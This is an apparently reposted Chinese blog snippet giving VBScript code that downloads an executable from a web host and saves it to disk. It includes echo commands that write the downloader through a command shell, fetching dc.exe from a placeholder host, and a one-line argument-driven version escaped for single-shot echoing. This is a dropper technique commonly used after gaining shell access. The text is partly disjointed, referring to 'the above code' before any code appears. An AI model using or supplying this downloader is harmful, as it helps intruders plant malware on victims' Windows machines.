自动下载并运行的VBS脚本代码

来源:互联网 发布:淘宝上卖散装白酒 编辑:程序博客网 时间:2024/06/11 18:36

自动下载并运行的VBS脚本代码 


把以上代码保存在xx.vbs文件 执行cmd.exe xx.vbs

使用ECHO方法写入
echo Set xPost = createObject("Microsoft.XMLHTTP") >dc.vbs 
echo xPost.Open "GET",http://www.xxx.com/dc.exe,0 >>dc.vbs 
echo xPost.Send() >>dc.vbs 
echo Set sGet = createObject("ADODB.Stream") >>dc.vbs 
echo sGet.Mode = 3 >>dc.vbs 
echo sGet.Type = 1 >>dc.vbs 
echo sGet.Open() >>dc.vbs 
echo sGet.Write(xPost.responseBody) >>dc.vbs 
echo sGet.SaveToFile "c:/dc.exe",2 >>dc.vbs



1.iget.vbs一次写入 
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写 

Set x= createObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 

这样我们可以一次echo成功,echo版本: 

echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs